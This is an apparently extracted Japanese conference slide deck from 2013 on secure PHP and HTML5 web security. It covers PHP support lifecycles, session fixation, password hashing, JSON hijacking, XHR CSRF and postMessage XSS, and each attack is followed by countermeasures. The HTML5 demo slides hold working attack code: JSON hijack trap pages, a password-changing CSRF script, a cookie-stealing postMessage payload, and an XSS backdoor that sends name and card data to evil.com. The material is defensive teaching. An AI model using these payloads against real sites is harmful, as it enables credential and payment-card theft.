安全なPHPアプリケーションの作り方2013
2013年9月14日
HASHコンサルティング株式会社
徳丸 浩
• PHPのライフサイクルにどうつきあう?
• セッションフィクセイション結局どうする
• パスワードの守り方
• デモから学ぶ HTML5セキュリティ入門
Copyright © 2008-2013 HASH Consulting Corp. All rights reserved
アジェンダ
2
PHPのライフサイクルにどうつき
あう?
3
4
サポートライフサイクルポリシーとは
• サポートライフサイクルポリシーとは、製品サポートに
ついてのサポートポリシーを文書化したもの
• 厳密な契約ではないが、購入者に対する「約束」と考え
られる
• マイクロソフト社の取り組みが有名
– 2002 年 10 月に最初に発表
– 2004 年 6 月に更新
– 詳しくは次のスライドで…
Copyright © 2008-2013 HASH Consulting Corp. All rights reserved 5
マイクロソフト社のサポートライフサイクルポリシー
メインストリームサポート 次のうちいずれか長い方
・ 製品発売から5年
・ 後継製品の発売から2年
延長サポート 次のうちいずれか長い方
・ メインストリームサポート終了から5年
・ 2番目の後継製品の発売から2年
•最新の製品を使う限り、7年間のサポートが保証されている(追加費用無し)
メインストリームサポート
Copyright © 2008-2013 HASH Consulting Corp. All rights reserved 6
【参考】PHPのサポート状況
1998 1999 2000 2001 2002 2003 2004 2005 2006 2007 2008 2009 2010
PHP5.x
PHP4.x
PHP3.x
3.5年
•オープンソース・ソフトウェアは通常サポートポリシーが明確でない
•PHPの場合、最悪ケースで、最新版を使っていても3.5年でサポートが終
了になるケースもあった
•アプリケーションのライフサイクルの中で、基盤ソフトのサポート終了を想
定した計画立案が要求される
Copyright © 2008-2013 HASH Consulting Corp. All rights reserved 7
Request for Comments: Release Process(PHP)
• Yearly release cycle
– 3 years release life cycle
– 2 years bug fixes only
– 1 year security fixes only
• 下図のように、PHP5.x(2番目の数字)を使い続けるのは、
2~3年が限度
https://wiki.php.net/rfc/releaseprocess より引用Copyright © 2008-2013 HASH Consulting Corp. All rights reserved 8
サポートライフサイクルポリシーまとめ
• ソフトウェア選定時にサポートライフサイクルポリシー
を確認すること
– PHP以外に、フレームワークやDB、ライブラリ等も
• サポート計画を検討する
– PHPをRedHat/CentOSのパッケージで導入すれば10年サポー
トに
– PHPのバージョンアップにとことん付き合うという選択肢
– 途中でバージョンアップする計画を立てておく(予算も)
• 他のソフトウェアのサポートライフサイクルにも注意
Copyright © 2008-2013 HASH Consulting Corp. All rights reserved 9
セッションフィクセイション結
局どうする
10
PHP5.5.2でStrict Sessionsがマー
ジされました
11
大垣さん、まことにおめでとう
ございます (_ _)
12
• PHPのセッション管理機構には、未初期化のセッション
IDを受け入れる問題があった (Session Adoption)
• 例えば、PHPSESSID=ABC をCookieにセットしておく
と、そのままセッションIDとして使ってくれる
• セッションフィクセーション攻撃の時に、Session
Adoptionがあると便利!
• セッションフィクセーション対策には、ログイン成功後
に下記を実行すること
– session_regenerate_id(true);
• PHP5.5.2以降では、 php.iniに下記を指定すると、
Session Adoptionが解消される
– session.use_strict_mode = 1
Strict Sessionsとは何か
Copyright © 2008-2013 HASH Consulting Corp. All rights reserved 13
Strict Sessionsのデモ
14
• Strict SessionsはPHP5.5のみの対応で、PHP5.3やPHP5.4
では対応していない
– PHP5.4以前は、session_regenerate_id(true); で対応
• PHP5.5.2以降だと、session_regenerate_id()は不要?
– 必要
– 「勝手に作ったセッションIDを受け入れない」だけで、攻撃対
象からセッションIDを入手すれば、セッションフィクセーショ
ン攻撃は依然として可能
• 結局、アプリの書き方は変わらない
– ログイン成功後に session_regenerate_id(true);
Strict Sessionsでアプリの書き方は変わる?
Copyright © 2008-2013 HASH Consulting Corp. All rights reserved 15
パスワードの守り方
16
LinkedInからのパスワード漏洩事件
17http://www.itmedia.co.jp/enterprise/articles/1206/07/news017.html より引用
650万件のパスワードハッシュのうち540万件が1週間で解読
http://securitynirvana.blogspot.jp/2012/06/final-word-on-linkedin-leak.html より引用
https://twitter.com/jmgosney/statuses/213212108924522496 より引用
Surviving on little more than furious passion for many sleepless days,
we now have over 90% of the leaked passwords recovered.
18
Saltってなに?
• ソルト(Salt)とは、ハッシュの元データ(パスワード)に追加す
る文字列
• 見かけのパスワードの長さを長くする →レインボーテーブル対策
• ユーザ毎にソルトを変えることで、パスワードが同じでも、異なる
ハッシュ値が得られる
– ソルトがない場合、パスワードの組み合わせ回数分ですむが、ソルト
があると、×ユーザ数 に試行回数が増える
– LinkedInの場合は、試行回数が 650万倍に !
• ソルトの要件
– ある程度の長さを確保すること
– ユーザ毎に異なるものにすること
• ソルトには乱数を用いることが多いが、乱数が必須というわけでは
ない(暗号論的に安全な乱数である必要はもちろんない)
• ソルトは秘密情報ではない。ソルトは、通常ハッシュ値と一緒に保
存する
Copyright © 2008-2013 HASH Consulting Corp. All rights reserved 19
Stretchingってなに?
• ストレッチング(Stretching)とは、ハッシュの計算を繰り返すこと
• ハッシュの計算を遅くすることにより、辞書攻撃や総当たり攻撃に対
抗する
• 1万回ストレッチすると、「 GPUモンスターマシンで20分掛かる」
が20万分になる計算
– 20万分 = 139日 …
• 「悪い」パスワードまで救えるわけではない
– 「password」というパスワードをつけていたら、100万回ストレッチし
てもすぐに解読されてしまう
• 十分長いパスワードをつけてもらえば、ストレッチングは必要ない
– 1文字パスワードを長くすることは、約90回のストレッチングに相当する。
パスワードを2文字長くしてもらえば…
– ストレッチングは、「弱いパスワード」の救済の意味がある
• ストレッチングはメリットとデメリットがあるので、導入の有無と回
数をよく検討すること
Copyright © 2008-2013 HASH Consulting Corp. All rights reserved
むむ、これだとパスワードの定期的変更か?
20
パスワードをハッシュで保存する場合の課題
• 「パスワードリマインダ」が実装できない
– 「秘密の質問」に答えるとパスワードを教えてくれるアレ
– パスワードリセットで代替
• ハッシュの形式(アルゴリズム、ソルト、ストレッチ回数)の変更
– 生パスワードが分からないのでハッシュの方式変更がバッチ処理では
できない
– ユーザの認証成功の際にはパスワードが分かるので、その際に方式を
変更すると良い
– 緊急を要する場合は、現在パスワードを無効にして、パスワードリセ
ットで
– ハッシュ値あるいは別フィールドに「方式番号」をもっておく
– PHP5.5のpassword_hash関数が便利 (ソルト・ストレッチング内蔵)
$1$d641fdabf96912$4b3c3e95dfab179ebfef220172f58171
Copyright © 2008-2013 HASH Consulting Corp. All rights reserved
方式番号 ソルト ハッシュ値
21
password_hash 関数 (PHP5.5から)
http://php.net/manual/ja/function.password-hash.php より引用
<?php echo password_hash('rasmuslerdorf’, PASSWORD_DEFAULT);
【結果】
$2y$10$.vGA1O9wmRjrwAVXD98HNOgsNpDczlqm3Jq7KnEd1rVAGv3Fykk1a
Copyright © 2008-2013 HASH Consulting Corp. All rights reserved 22
password_hash関数の代替(PHP5.3.7~PHP5.4)
Copyright © 2008-2013 HASH Consulting Corp. All rights reserved
function get_salt()
{
$random = file_get_contents('/dev/urandom', false, NULL, 0, 18);
$base64 = base64_encode($random);
return substr(strtr($base64, '+', '.'), 0, 22);
}
function get_hash($password)
{
$salt = get_salt();
return crypt($password, ‘$2y$10$’ . $salt); // $10$ は適宜調整してください
}
function verify_password($password, $hash)
{
$salt = substr($hash, 7, 22);
$new_hash = crypt($password, '$2y$10$' . $salt);
return $hash === $new_hash;
}
23
結局どうすればよいの?
• パスワード認証は、利用者とサイト運営者が責任を分かち合ってい
る
• 利用者に、よいパスワードをつけてもらうのが本筋
• オンライン攻撃に備えて、以下を実施する
– アカウントロックの実装
– SQLインジェクションなどの脆弱性対処
– でれきば…二段階認証、リスクベース認証
– Googleなど認証プロバイダの活用
• オフライン攻撃対策は中々決め手がない
– ソルトなしのハッシュは、レインボーテーブルで元パスワードが簡単
に求められる
– ソルトは必須。できるだけストレッチングもする(password_hash関数
など)
– DBのパスワード欄に余裕を持たせ、方式を改良できるようにしておく
Copyright © 2008-2013 HASH Consulting Corp. All rights reserved 24
デモから学ぶ
HTML5セキュリティ入門
25
激安お徳情報(罠サイト)
デモに出てくるWebサイトの説明
アフィリエイトブログ ドメインとるなら
おネーム.com
広告モジュール
広告事業者
adv.com
blog.com oname.com
evil.com
Copyright © 2008-2013 HASH Consulting Corp. All rights reserved 26
DOM Based XSS
27
blogの外観
Copyright © 2008-2013 HASH Consulting Corp. All rights reserved 28
トラッキング用img要素の生成箇所
Copyright © 2008-2013 HASH Consulting Corp. All rights reserved
<iframe src="http://adv.com/ad.html?siteId=50341">
</iframe>
<a href="http://oname.com/"><img src="oname.png"></a>
<div id="img"></div>
<script>
var div = document.getElementById('img');
var img = '<img src="track.php?siteId='
+ qstrs.siteId + '">';
div.innerHTML = img;
// siteId を localStorageに保存
localStorage.siteId = parseInt(qstrs.siteId);
iframeの参照
iframeのソース(主要部)
29
Copyright © 2008-2013 HASH Consulting Corp. All rights reserved 30
• 確かにXSSはあるが、ドメイン(オリジンは)
http://adv.com であり、他のドメインには影響はない
はず
• siteIdはlocalStorageに保存しているが、parseIntを通
しているので、汚染されることはない
• そもそもblog.comから呼び出される場合、siteIdは固定
なので、攻撃経路がない
• 見解の正否は後ほど…
Copyright © 2008-2013 HASH Consulting Corp. All rights reserved
DOM Based XSSの影響(高橋の見解)
31
JSON Hijack
32
プロフィール画面
Copyright © 2008-2013 HASH Consulting Corp. All rights reserved
<script src="jquery-1.10.2.min.js"></script>
<script>
$(function() {
$.ajax({
dataType: 'json',
url: 'getProfile_json.php'
}).done(function(json) {
$('#name').text(json[0].name);
$('#addr').text(json[0].addr);
$('#tel').text(json[0].tel);
$('#mail').text(json[0].mail);
});
});
</script>
プロフィール<br>
氏名:<span id="name"></span><br>
住所:<span id="addr"></span><br>
電話番号:<span id="tel"></span><br>
メールアドレス:<span id="mail"></span><br>
プロフィールの表示(profile.php)
[{"name":"Taro Yamada",
"tel":"03-1111-2222",
"mail":"yamada@example.jp",
"addr":"1-1-1, Mita, Minato-
city, Tokyo"}]
33
• JSONって、JavaScriptだよね
• script要素で読み込めるよね
• クッキーも飛ぶよね
• JSONデータを盗むワナを作れないか?
34
JSON Hijackとは…
これは罠サイト
script要素はクロスドメインで読み込み可能
クッキーもつくよ
<script>
// ここにJSONを読む仕掛けを置く
</script>
<script src="http://oname.com/getProfile_json.php"></script>
JSON Hijackの罠 (setter版; 一般利用者が閲覧)
Copyright © 2008-2013 HASH Consulting Corp. All rights reserved
<body onload="alert(x)">
罠サイト
<script>
var x = "";
Object.prototype.__defineSetter__("name",
function(v) {
x += 'name = ' + v + "¥n";
});
Object.prototype.__defineSetter__("tel",
function(v) {
x += 'tel = ' + v + "¥n";
});
// …省略
// 以下がJSONデータ
<script src="http://oname.com/getProfile_json.php"></script>
</body>
※ Xperia Arc (Android 2.3.4)にて実行
35
JSON Hijackの罠 (IE向け;一般利用者が参照)
Copyright © 2008-2013 HASH Consulting Corp. All rights reserved
<script>
window.onerror = function(e) {
if (e.match(/'({"memo".*)'$/)) {
var msg = 'JSONハイジャックに成功:' + RegExp.$1;
} else {
var msg = 'JSONハイジャックに失敗:' + e;
}
var divmemo = document.getElementById('memo');
var text = document.createTextNode(msg);
divmemo.appendChild(text);
}
</script>
これは罠サイトです(IE限定)
<div id="memo"></div>
<script src="http://oname.com/getProfile_json.php" language="vbscript"></
script>
36
• Content-Typeを正しく設定する
header('Content-Type: application/json; charset=UTF-8’);
• X-Content-Type-Options: nosniff を出力する
header('X-Content-Type-Options: nosniff');
• 最新のIEを用いる(CVE-2013-1297対策ずみのもの)
– JSON Hijackができることはブラウザのバグ
• X-Requested-Withヘッダのチェック
– ヘッダ X-Requested-With: XMLHttpRequest があること
– jQueryやprototype.jsでは自動的に付与される
– script要素で読む場合は、ヘッダは操作できない
Copyright © 2008-2013 HASH Consulting Corp. All rights reserved
JSON Hijackの対策
37
JSONによるXSS
38
ドメイン名検索機能(JSON)
Copyright © 2008-2013 HASH Consulting Corp. All rights reserved
{"status":"ok","key":"tokumaru","results":["tokumaru.us","
tokumaru.ru"]}
http://oname.com/searchdomain_json.php?dname=tokumaru
{"status":"fail","key":"<img src=# onlerror=alert(1)>","re
sults":[]}
http://oname.com/searchdomain_json.php?dname=<img%20src%3D%23%20
onlerror%3Dalert(1)>
ブラウザにJSON(application/json)と認
識されれば問題ないが、
HTML(text/html)と認識されるとXSSに
39
XSS実行例
Copyright © 2008-2013 HASH Consulting Corp. All rights reserved 40
• Content-Typeを正しく出力(これでIE以外OK)
header('Content-Type: application/json; charset=UTF-8');
• X-Content-Type-Options: nosniff ヘッダを出力
header('X-Content-Type-Options: nosniff');
// これで IE8 以降は OK
• リクエスト時にX-Request-Withを付与して、サーバー
側で確認する
– jQuery等では自動的付与。すべてのブラウザで有効な対策
• < や > もUnicodeエスケープする
json_encode($row, JSON_HEX_TAG | JSON_HEX_APOS |
JSON_HEX_QUOT | JSON_HEX_AMP);
JSONによるXSSの対策
Copyright © 2008-2013 HASH Consulting Corp. All rights reserved 41
XHR L2によるCSRF
42
• 高橋君の見解
– FormのPOST送信ではJSON形式は送信できない
– XMLHttpRequestではクロスドメイン通信はできない
– ∴ どちらで攻撃されても大丈夫
Copyright © 2008-2013 HASH Consulting Corp. All rights reserved
CSRF脆弱なサンプル
session_start();
// ログイン確認
if (isset($_SESSION['id'])) {
$id = $_SESSION['id'];
$stream = file_get_contents(‘php://input’); // リクエスト・ボディ
$json = json_decode($stream, TRUE);
if (isset($json['pwd']) && $json['pwd'] !== '') {
// パスワードがJSONとして渡ってきている場合にパスワード変更
$pwd = $json['pwd'];
// パスワード変更処理(ログにパスワードを吐くのは禁止だが、以下はデモのため)
error_log(“Password is changed. id: ${id} password: ${pwd}”);
// 以下はエラー処理
パスワード変更処理のソース(PHP; 主要部)
43
Copyright © 2008-2013 HASH Consulting Corp. All rights reserved
攻撃スクリプト
var requester = new XMLHttpRequest();
requester.open('POST', 'http://oname.com/chgpwd_json.php', true);
// 以下がないとGoogle Chromeでプレフライト(OPTIONS)が送信されるので攻撃失敗する
requester.setRequestHeader("Content-type", "text/plain");
// 以下でリクエストにクッキーを付与する
requester.withCredentials = true;
// レスポンスは受け取れないので、コールバック関数はセットしていない
requester.send('{"pwd":"123456"}');
攻撃スクリプト(JavaScript; 主要部)
Password is changed. id: yamada password: 123456
実行結果:サーバーログ
44
• XHR Level2対応のブラウザ(IE以外)の場合、クロスド
メイン(クロスオリジン)にホストにリクエスト自体は
無条件に可能
– サーバー側でAccess-Control-Allow-Originヘッダを送信しない
と、レスポンスを受け取れないが、CSRF攻撃ではレスポンスは
元々必要ない
• setRequestHeaderを用いる場合は、プレフライトに対
応する必要がある
• このため、攻撃の場合Content-Typeヘッダを指定でき
ない(text/plainは例外らしい)
– サーバー側でContent-Typeをチェックすると少し安全に
• 根本的には、通常通りトークンによる対策を推奨
Copyright © 2008-2013 HASH Consulting Corp. All rights reserved
解説
45
PostMessageに注意
46
広告モジュールからpostMessageでsiteIdを受け取る
Copyright © 2008-2013 HASH Consulting Corp. All rights reserved
window.addEventListener("message", function(event) {
var siteId = event.data;
var form = document.getElementById('form');
var input =
'<input type="hidden" name="siteId" value="' + siteId + '">';
form.innerHTML += input;
} , false);
購入画面にてsiteIdを埋め込み(purchase.php)
parent.postMessage(
localStorage.siteId, '*');
広告モジュールからsiteIdを送信(affiliate.html)
ドメインとるならおネーム.com
広告モジュール
oname.com
postMessage
47
adv.com
• siteIdの埋め込み箇所(下記)には潜在的なXSSがある
var input = '<input type="hidden" name="siteId" value="' + siteId + '">';
form.innerHTML += input;
• しかし、siteIdをlocalStorageに保存する際にparseIntで
フィルタリングしているため、攻撃文字列を埋め込まれる
心配はない
この箇所のDOM Based XSSに関する高橋の考察
Copyright © 2008-2013 HASH Consulting Corp. All rights reserved 48
罠サイトからpostMessaeが可能
Copyright © 2008-2013 HASH Consulting Corp. All rights reserved
win = window.open(
'http://oname.com/purchase.php?domain=tokumaru.us', "x");
setTimeout(function () {
win.postMessage('"><img width=1 height=1 src=/ onerror="alert(d
ocument.cookie)">', '*');
}, 2000);
罠画面から購入画面を開き、Cookieを窃取
ドメイン取るならおネーム.com
広告モジュール
oname.com
postMessage
激安マル秘情報
evil.com
postMessage
window.open
①
②
③
49
postMessage経由のXSS攻撃
Copyright © 2008-2013 HASH Consulting Corp. All rights reserved 50
• 送信側: データを渡してもよいオリジンを指定する
win.postMessage(message, ’http://oname.com’)
• 受信側: データを受け取ってもよいオリジンを確認する
Copyright © 2008-2013 HASH Consulting Corp. All rights reserved
postMessageを扱う場合の注意
window.addEventListener("message", function(event) {
if (event.origin !== "http://adv.com") {
alert('不正なpostMessage');
return;
}
var siteId = event.data;
var form = document.getElementById('form');
var input =
'<input type="hidden" name="siteId" value="' + siteId + '">';
form.innerHTML += input;
} , false);
購入画面にてsiteIdを埋め込み(purchase.php)
51
これまでのおさらい
Copyright © 2008-2013 HASH Consulting Corp. All rights reserved 52
• 広告表示モジュールにXSS
– http://adv.comオリジンにのみ影響とのことで受容した
• 広告モジュールから販売サイトへのpostMessage
– http://adv.comオリジンからのみ受け取るように制限した
• 販売サイトのDOM Based XSS
– 広告モジュール(adv.com)にて、siteIdを整数値に制限している
ので、実害はないと判断、受容した
これまでのおさらい(高橋の見解)
Copyright © 2008-2013 HASH Consulting Corp. All rights reserved 53
この対策で大丈夫か?
Copyright © 2008-2013 HASH Consulting Corp. All rights reserved 54
まぜるな危険 !
Copyright © 2008-2013 HASH Consulting Corp. All rights reserved 55
• 広告表示モジュールにXSS
– http://adv.comオリジンにのみ影響とのことで受容した
– XSSでローカルストレージに攻撃文字列を書き込める
• 広告モジュールから販売サイトへのpostMessage
– http://adv.comオリジンからのみ受け取るように制限した
– 上記によりhttp://adv.comオリジンから攻撃を受ける可能性
• 販売サイトのDOM Based XSS
– 広告モジュール(adv.com)にて、siteIdを整数値に制限している
ので、実害はないと判断、受容した
– 上記により、攻撃を受ける可能性
合わせ技で「大変なこと」に!
Copyright © 2008-2013 HASH Consulting Corp. All rights reserved 56
罠サイトからpostMessaeが可能
Copyright © 2008-2013 HASH Consulting Corp. All rights reserved
localStorage
adv.com
XSSを利用して
攻撃コードをセット
激安お徳情報
evil.com
遷移 ① ②
ドメインとるならおネーム.com
広告モジュール
oname.com
postMessage③
攻撃コード
攻撃
57
攻撃コードの例
58Copyright © 2008-2013 HASH Consulting Corp. All rights reserved
http://adv.com/ad.html?siteId=%22%20onload%3d%22localStorage.siteId%3d%26quot;
50341¥%26quot;%3E%3Cimg%20width%3d1%20height%3d1%20src%3d/%20onerror%3
d¥%26quot;document.forms[0].onsubmit%3dfunction(){f%3ddocument.forms[0];r%3dn
ew%20XMLHttpRequest();r.open('GET','http://evil.com/r.php?'%2bf.name.value%2b':'%
2bf.cardnum.value%2b':'%2bf.expire.value,false);r.send();return%20true;}%26quot;;
50341"><img width=1 height=1 src=/ onerror="document.forms[0].onsubmit=function()
{f=document.forms[0];r=new XMLHttpRequest();r.open('GET','http://evil.com/r.php?'+f.
name.value+':'+f.cardnum.value+':'+f.expire.value,false);r.send();return true;}
document.forms[0].onsubmit=function(){
f = document.forms[0];
r = new XMLHttpRequest();
r.open(('GET', 'http://evil.com/r.php?'+f.name.value+':'+f.cardnum.value+':'+
f.expire.value, false);
r.send();
return true;
}
adv.comへの攻撃例
攻撃後のローカルストレージsiteId
oname.comで実行されるコード(読みやすく整形)
サブミットすると、フォームの値を
外部に漏えいさせるバックドア
バックドアによる情報漏えい
59Copyright © 2008-2013 HASH Consulting Corp. All rights reserved
ドメイン取るならおネーム.com
evil.com
oname.com
XSSでセットさ
れたバックドア
購入
氏名
カード番号
有効日付
• HTML組み立てを以下のいずれかの方法で行う
– DOM操作用のメソッドやプロパティを用いる
• 文脈に応じたエスケープ処理を施す
Copyright © 2008-2013 HASH Consulting Corp. All rights reserved
対策
var div = document.getElementById('img');
var img = document.createElement('img');
img.setAttribute('src', 'track.php?siteId='
+ encodeURIComponent(qstrs.siteId));
div.appendChild(img);
var div = document.getElementById('img');
var img = '<img src="track.php?siteId='
+ encodeURIComponent(qstrs.siteId) + '">';
div.innerHTML = img;
60
対策(続き)
Copyright © 2008-2013 HASH Consulting Corp. All rights reserved
window.addEventListener("message", function(event) {
var siteId = event.data;
var form = document.getElementById('form');
var input = document.createElement('input');
input.setAttribute('name', 'siteId');
input.setAttribute('value', siteId);
// setAttributeを使えば、HTMLエスケープの必要はない
form.appendChild(input);
} , false);
61
• HTML5になり攻撃のバリエーションは増加しているが、
基本は変わらない
– XSS: 文脈に応じたエスケープ または DOM操作用メソッド・プ
ロパティ
– CSRF: トークンにより対策
• “手抜きをしない”
– 手抜きの例 : XHRではクロスドメイン通信ができないと思い
CSRF対策を怠る
• 対策はできるだけ局所的に完結する
• JSONのXSSに注意
• postMessageによる情報漏えいやデータ汚染に注意
• 最新のjQueryその他のライブラリを用いる
Copyright © 2008-2013 HASH Consulting Corp. All rights reserved
まとめ
62
参考文献(1)
Copyright © 2013 HASH Consulting Corp.
XSSの基礎を説明してい
ますが、DOM base XSS
やAjaxに関する説明は
あまりありません
63
参考文献(2)
http://www.ipa.go.jp/about/technicalwatch/20130129.html
DOM base XSSに関する
体系的な説明として貴
重な参考資料です
64
参考文献(3)
ブラウザセキュリティの
「面倒くささ」について、逃
げずに丹念に説明してい
ます。上級者および上級
者を目指す方向け
65
• HTML5 and Security Part 1 : Basics and XSS [PPT]
– http://utf-8.jp/public/20130613/owasp.pptx
• HTML5時代のWebセキュリティ[PPT]
– http://utf-8.jp/public/20120915/20120915-html5.pptx
• XMLHttpRequestを使ったCSRF対策
– http://d.hatena.ne.jp/hasegawayosuke/20130302/p1
• 機密情報を含むJSONには X-Content-Type-Options: nosniff をつ
けるべき
– http://d.hatena.ne.jp/hasegawayosuke/20130517/p1
• JSONをvbscriptとして読み込ませるJSONハイジャック(CVE-2013-
1297)に注意
– http://blog.tokumaru.org/2013/05/JSON-information-disclosure-
vulnerability-CVE-2013-1297.html
• PHPのイタい入門書を読んでAjaxのXSSについて検討した(1)~(3)
– http://d.hatena.ne.jp/ockeghem/20110905/p1
66
参考文献(4)
• セッションアダプションに対する私の見解
– http://tumblr.tokumaru.org/post/37870453034/about-session-
adoption
• 本当は怖いパスワードの話
– http://www.atmarkit.co.jp/fsecurity/special/165pswd/01.html
• Webアプリでパスワード保護はどこまでやればいいか
– http://www.slideshare.net/ockeghem/how-to-guard-your-
password
• いまさら聞けないパスワードの取り扱い方
– http://www.slideshare.net/ockeghem/ss-25447896
67
参考文献(5)
Thank you
68

安全なPHPアプリケーションの作り方2013